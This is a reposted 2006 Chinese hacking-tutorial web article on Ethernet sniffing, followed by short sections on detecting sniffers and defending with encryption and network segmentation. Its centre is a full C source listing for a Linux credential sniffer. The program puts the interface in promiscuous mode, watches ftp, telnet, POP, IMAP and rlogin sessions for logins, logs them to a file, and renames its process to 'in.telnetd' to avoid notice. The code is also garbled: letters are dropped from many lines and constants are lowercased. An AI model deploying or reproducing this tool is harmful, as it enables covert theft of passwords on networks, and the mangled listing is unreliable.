通行证: 用户 密码 域名空间  下载中心 社区论坛 信息公告 my小屋
联系我们
设为首页
加入收藏

 

qq,asp,php,jsp,xml,sql,.net,编程 程序 网页图象 建站经验 私服
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿
论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图
专题 | 应用软件 | 聊天通讯 | q q 专栏 | 建站经验 | 在线工具 | 站长club | 注 册 表 | 旧版
社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 韩国素材 | 素材图库 | 广告服务 | 服务
当前位置:首页>>网络安全>>安全工具>>正文 新版上线![旧版]
注:打开慢时请稍等

sniffer黑客教程

http://www.iyit.net  日期:2006-5-29 13:28:24  来源:网络转载   点击:
参加讨论】sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解,第二节给出了一个sniffer的源程序,并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。13876607127274673757www.xker.com20417575393593234869

第一节 sniffer简介

 什么是以太网sniffing?

 以太网sniffing 是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字"username"或"password"的包。

它的目的是将网络层放到promiscuous模式,从而能干些事情。promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。

利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。

iffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。

iffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。

有许多运行与不同平台上的sniffer程序。

linux tcpdump、dos ethload、the gobbler、lanpatrol、lanwatch 、netmon、netwatch、netzhack

上面的这些程序,可以从互连网上找到。

使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序,根本就不能从大量的数据中找出需要的信息。

通常sniffer程序只看一个数据包的前200-300个字节的数据,就能发现想口令和用户名这样的信息。

第二节 一个sniffer源程序

下面是一个linux以太网sniffer的源程序。可以根据需要加强这个程序。

/* linux sniffer.c 本程序已经在red hat 5.2上调试通过*/

#include < string.h>

#include < ctype.h>

#include < stdio.h>

#include < netdb.h>

#include < sys/file.h>

#include < sys/time.h>

#include < sys/socket.h>

#include < sys/ioctl.h>

#include < sys/signal.h>

#include < net/if.h>

#include < arpa/inet.h>

#include < netinet/in.h>

#include < netinet/ip.h>

#include < netinet/tcp.h>

#include < netinet/if_ether.h>

int openintf(char *);

int read_tcp(int);

int filter(void);

int print_header(void);

int print_data(int, char *);

char *hostlookup(unsigned long int);

void clear_victim(void);

void cleanup(int);

truct etherpacket

{

truct ethhdr eth;

truct iphdr ip;

truct tcphdr tcp;

char buff[8192];

}ep;

truct

{

unsigned long saddr;

unsigned long daddr;

unsigned short sport;

unsigned short dport;

int bytes_read;

char active;

time_t start_time;

} victim;

truct iphdr *ip;

truct tcphdr *tcp;

int s;

file *fp;

#define captlen 512

#define timeout 30

#define tcplog "tcp.log"

int openintf(char *d)

{

int fd;

truct ifreq ifr;

int s;

fd=socket(af_inet, sock_packet, htons(0x800));

if(fd < 0)

{

error("cant get sock_packet socket");

exit(0);

}

trcpy(ifr.ifr_name, d);

=ioctl(fd, siocgifflags, &ifr);

if(s < 0)

{

close(fd);

error("cant get flags");

exit(0);

}

ifr.ifr_flags |= iff_promisc;

=ioctl(fd, siocsifflags, &ifr);

if(s < 0) perror("can not set promiscuous mode");

return fd;

}

int read_tcp(int s)

{

int x;

while(1)

{

x=read(s, (struct etherpacket *)&ep, sizeof(ep));

if(x > 1)

{

if(filter()==0) continue;

x=x-54;

if(x < 1) continue;

return x;

}

}

}

int filter(void)

{

int p;

=0;

if(ip->protocol != 6) return 0;

if(victim.active != 0)

if(victim.bytes_read > captlen)

{

fprintf(fp, "\n----- [caplen exceeded]\n");

clear_victim();

return 0;

}

if(victim.active != 0)

if(time(null) > (victim.start_time + timeout))

{

fprintf(fp, "\n----- [timed out]\n");

clear_victim();

return 0;

}

if(ntohs(tcp->dest)==21) p=1; /* ftp */

if(ntohs(tcp->dest)==23) p=1; /* telnet */

if(ntohs(tcp->dest)==110) p=1; /* pop3 */

if(ntohs(tcp->dest)==109) p=1; /* pop2 */

if(ntohs(tcp->dest)==143) p=1; /* imap2 */

if(ntohs(tcp->dest)==513) p=1; /* rlogin */

if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

if(victim.active == 0)

if(p == 1)

if(tcp->syn == 1)

{

victim.saddr=ip->saddr;

victim.daddr=ip->daddr;

victim.active=1;

victim.sport=tcp->source;

victim.dport=tcp->dest;

victim.bytes_read=0;

victim.start_time=time(null);

rint_header();

}

if(tcp->dest != victim.dport) return 0;

if(tcp->source != victim.sport) return 0;

if(ip->saddr != victim.saddr) return 0;

if(ip->daddr != victim.daddr) return 0;

if(tcp->rst == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "\n----- [rst]\n");

clear_victim();

return 0;

}

if(tcp->fin == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "\n----- [fin]\n");

clear_victim();

return 0;

}

return 1;

}

int print_header(void)

{

fprintf(fp, "\n");

fprintf(fp, "%s => ", hostlookup(ip->saddr));

fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));

}

int print_data(int datalen, char *data)

{

int i=0;

int t=0;

victim.bytes_read=victim.bytes_read+datalen;

for(i=0;i != datalen;i++)

{

if(data[i] == 13) { fprintf(fp, "\n"); t=0; }

if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

if(t > 75) {t=0;fprintf(fp, "\n");}

}

}

main(int argc, char **argv)

{

rintf(argv[0],"%s","in.telnetd");

=openintf("eth0");

ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);

ignal(sighup, sig_ign);

ignal(sigint, cleanup);

ignal(sigterm, cleanup);

ignal(sigkill, cleanup);

ignal(sigquit, cleanup);

if(argc == 2) fp=stdout;

else fp=fopen(tcplog, "at");

if(fp == null) { fprintf(stderr, "cant open log\n");exit(0);}

clear_victim();

for(;;)

{

read_tcp(s);

if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

fflush(fp);

}

}

char *hostlookup(unsigned long int in)

{

tatic char blah[1024];

truct in_addr i;

truct hostent * he;

i.s_addr=in;

he=gethostbyaddr((char *)&i, sizeof(struct in_addr),af_inet);

if(he == null)

trcpy(blah, inet_ntoa(i));

else

trcpy(blah,he->h_name);

return blah;

}

void clear_victim(void)

{

victim.saddr=0;

victim.daddr=0;

victim.sport=0;

victim.dport=0;

victim.active=0;

victim.bytes_read=0;

victim.start_time=0;

}

void cleanup(int sig)

{

fprintf(fp, "exiting...\n");

close(s);

fclose(fp);

exit(0);

}

下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,ip数据包头和tcp数据包头的格式。

它们在头文件中的定义如下:

truct ethhdr

{

unsigned char h_dest[eth_alen]; /* destination eth addr */

unsigned char h_source[eth_alen]; /* source ether addr */

unsigned short h_proto; /* packet type id field */

};

truct iphdr

{

#if __byte_order == __little_endian

u_int8_t ihl:4;

u_int8_t version:4;

#elif __byte_order == __big_endian

u_int8_t version:4;

u_int8_t ihl:4;

#else

#error "please fix < bytesex.h>"

#endif

u_int8_t tos;

u_int16_t tot_len;

u_int16_t id;

u_int16_t frag_off;

u_int8_t ttl;

u_int8_t protocol;

u_int16_t check;

u_int32_t saddr;

u_int32_t daddr;

/*the options start here. */

};

truct tcphdr

{

u_int16_t source;

u_int16_t dest;

u_int32_t seq;

u_int32_t ack_seq;

#if __byte_order == __little_endian

u_int16_t res1:4;

u_int16_t doff:4;

u_int16_t fin:1;

u_int16_t syn:1;

u_int16_t rst:1;

u_int16_t psh:1;

u_int16_t ack:1;

u_int16_t urg:1;

u_int16_t res2:2;

#elif __byte_order == __big_endian

u_int16_t doff:4;

u_int16_t res1:4;

u_int16_t res2:2;

u_int16_t urg:1;

u_int16_t ack:1;

u_int16_t psh:1;

u_int16_t rst:1;

u_int16_t syn:1;

u_int16_t fin:1;

#else

#error "adjust your < bits/endian.h> defines"

#endif

u_int16_t window;

u_int16_t check;

u_int16_t urg_ptr;

};

上述结构的具体含义可参见《tcp/ip协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。

随后,看一下函数int openintf(char *d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构:

truct ifreq

{

#define ifhwaddrlen 6

#define ifnamsiz 16

union

{

char ifrn_name[ifnamsiz]; /* interface name, e.g. "en0". */

} ifr_ifrn;

union

{

truct sockaddr ifru_addr;

truct sockaddr ifru_dstaddr;

truct sockaddr ifru_broadaddr;

truct sockaddr ifru_netmask;

truct sockaddr ifru_hwaddr;

hort int ifru_flags;

int ifru_ivalue;

int ifru_mtu;

truct ifmap ifru_map;

char ifru_slave[ifnamsiz]; /* just fits the size */

__caddr_t ifru_data;

} ifr_ifru;

};

这个结构叫接口请求结构,用来调用在i/o输入输出时使用。所有的接口i/o输出必须有一个参数,这个参数以ifr_name开头,后面的参数根据使用不同的网络接口而不同。

如果你要看看你的计算机有哪些网络接口,使用命令ifconfig即可。一般你会看到两个接口lo0和eth0。在ifreq结构中的各个域的含义与ifconfig的输出是一一对应的。在这里,程序将eth0作为ifr_name来使用的。接着,该函数将这个网络接口设置成promiscuous模式。请记住,sniffer是工作在这种模式下的。

再看一下函数read_tcp,它的作用是读取tcp数据包,传给filter处理。filter函数是对上述读取的数据包进行处理。

接下来的程序是将数据输出到文件中去。

函数clearup是在程序退出等事件时,在文件中作个记录,并关闭文件。否则,你刚才做的记录都没了。

第三节 怎样在一个网络上发现一个sniffer

简单的一个回答是你发现不了。因为他们根本就没有留下任何痕迹。

只有一个办法是看看计算机上当前正在运行的所有程序。但这通常并不可靠,但你可以控制哪个程序可以在你的计算机上运行。

在unix系统下使用下面的命令:

-aux

或:

-augx

这个命令列出当前的所有进程,启动这些进程的用户,它们占用cpu的时间,占用内存的多少等等。在windows系统下,按下ctrl+alt+del,看一下任务列表。不过,编程技巧高的sniffer即使正在运行,也不会出现在这里的。另一个方法就是在系统中搜索,查找可怀疑的文件。但可能入侵者用的是他们自己写的程序,所以都给发现sniffer造成相当的困难。

还有许多工具,能用来看看你的系统会不会在promiscuous模式。从而发现是否有一个sniffer正在运行。

怎样防止被sniffer

要防止sniffer并不困难,有许多可以选用的方法。但关键是都要有开销。所以问题在于你是否舍得开销。

你最关心的可能是传输一些比较敏感的数据,如用户id或口令等等。有些数据是没有经过处理的,一旦被sniffer,就能获得这些信息。解决这些问题的办法是加密。

加密

我们介绍以下ssh,它又叫secure shell。ssh是一个在应用程序中提供安全通信的协议。它是建立在客户机/服务器模型上的。ssh服务器的分配的端口是22。连接是通过使用一种来自rsa的算法建立的。在授权完成后,接下来的通信数据是用idea技术来加密的。这通常是较强的 ,适合与任何非秘密和非经典的通讯。

ssh后来发展成为f-ssh,提供了高层次的,军方级别的对通信过程的加密。它为通过tcp/ip网络通信提供了通用的最强的加密。

如果某个站点使用f-ssh,用户名和口令成为不是很重要的一点。目前,还没有人突破过这种加密方法。即使是sniffer,收集到的信息将不再有价值。当然最关键的是怎样使用它。

ssh和f-ssh都有商业或自由软件版本存在。nt are available.

还有其他的方法吗?

另一个比较容易接受的是使用安全拓扑结构。这听上去很简单,但实现是很花钱的。

玩过一种智力游戏吗,它通常有一系列数字组成。游戏的目的是要安排好数字,用最少的步骤,把它们按递减顺序排好。当处理网络拓扑时,就和玩这个游戏一样。

下面是一些规则:

一个网络段必须有足够的理由才能信任另一网络段。网络段应该考虑你的数据之间的信任关系上来设计,而不是硬件需要。

这就建立了,让我们来看看。第一点:一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里,或在同一个办公室里。比如你的财务信息,应该固定在建筑的一部分。

注意每台机器是通过硬连接线接到hub的。hub再接到交换机上。由于网络分段了,数据包只能在这个网段上别sniffer。其余的网段将不可能被sniffer。

所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。作为系统管理员,你的工作是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,你告诉你什么时候放置了一个sniffer,它放在那里了,是谁放的等等。

如果你的局域网要和internet相连,仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。你要关心的是一旦入侵者进入系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的web服务器对某一计算机a是信任的。那么有多少计算机是a信任的呢。又有多少计算机是受这些计算机信任的呢?用一句话,就是确定最小信任关系的那台计算机。在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击,并成功。你的任务就是保证一旦出现的sniffer,它只对最小范围有效。

sniffer往往是攻击者在侵入系统后使用的,用来收集有用的信息。因此,防止系统被突破是关键。系统安全管理员要定期的对所管理的网络进行安全测试,防止安全隐患。同时要控制拥有相当权限的用户的数量。请记住,许多攻击往往来自网络内部。


编辑:黑鹰 [发送给好友] [打印本页] [关闭窗口] [返回顶部]
上一篇:nai的sniffer系统
下一篇:嗅探原理与反嗅探技术详解
转载请注明来源:www.iyit.net
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。

 相关文章
黑客可以利用的5款远程控制软件测试 sniffer、黑客和网络管理 sniffer-黑客们最常用的入侵手段
linux环境下黑客常用嗅探器分析 网络流行黑客软件简介 黑客技术揭秘:三招确定www服务类型
asp网站漏洞解析及黑客入侵防范方法 检测是否还有黑客代码的asp.net函数 用vb学做“黑客”程序
美国公认黑客榜 黑客营传奇故事--别无选择 黑客营传奇故事五:十面埋伏
黑客营传奇故事四:木马的修改 黑客营传奇故事三:q下的阴谋 黑客营传奇故事二:灭门!
黑客营传奇故事一:幻影交叠 黑客是如何骗取你执行木马的 专访:企业如何应对黑客攻击
黑客攻击行为的特征分析及反攻击技术 黑客入侵计算机常用手段及应对措施 黑客web欺骗的工作原理和解决方案
黑客的木马——web应用程序 黑客种植木马的方法及防范策略 黑客入侵36计
最新更新 热点排行 推荐新闻
实战系统虚拟利器——ms vpc 2004
杀毒软件升级病毒库的备份与恢复 
强强联手 打造能自动查杀毒的超酷平台
黑客可以利用的5款远程控制软件测试
raw socket(原始套接字)实现sniffer
实战系统虚拟利器——ms vpc 2004
杀毒软件升级病毒库的备份与恢复 
强强联手 打造能自动查杀毒的超酷平台
黑客可以利用的5款远程控制软件测试
raw socket(原始套接字)实现sniffer
用sniffer透视动态域名
sniffer帮助理解子网掩码、网关与arp协
sniffer帮助理解nat(win2000)
再议 sniffer
用sniffer分析nat和变长子网掩码
实战系统虚拟利器——ms vpc 2004
杀毒软件升级病毒库的备份与恢复 
强强联手 打造能自动查杀毒的超酷平台
黑客可以利用的5款远程控制软件测试
raw socket(原始套接字)实现sniffer
优秀公益广告作品欣赏(8)
java数据类型转换
windows xp专业版iis连接数的更改
新开放qq免费挂级网站
优秀公益广告作品欣赏(7)
免费在qq上看在线电影电视听音乐
qq最新版下载 2006 beta2 体验新感受 
office2007简体中文版浮出水面 美图抢
qq珊瑚虫外挂4.0版本发布!
免费把qq炫铃设为本机qq的系统提示音
传统计算机病毒传播能力破坏性在提高
内存为何有“两面性”
amd水货盒装cpu识别方法
ip地址资源2012年枯竭 部署ipv6很紧迫
古老问题有新解:世上先有鸡蛋后有鸡
dreamweaver mx 2004从零开始(1)
利用css改善网站可访问性
如何让mm的脸通透可人
msn8.0下载
asp 五大高效提速技巧
 友情链接
设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接
copyrights © 2004-2006 iyit.net all rights reserved.
网站合作、广告联系qq:147007642、466949678
易特网络技术 点击这里给我发消息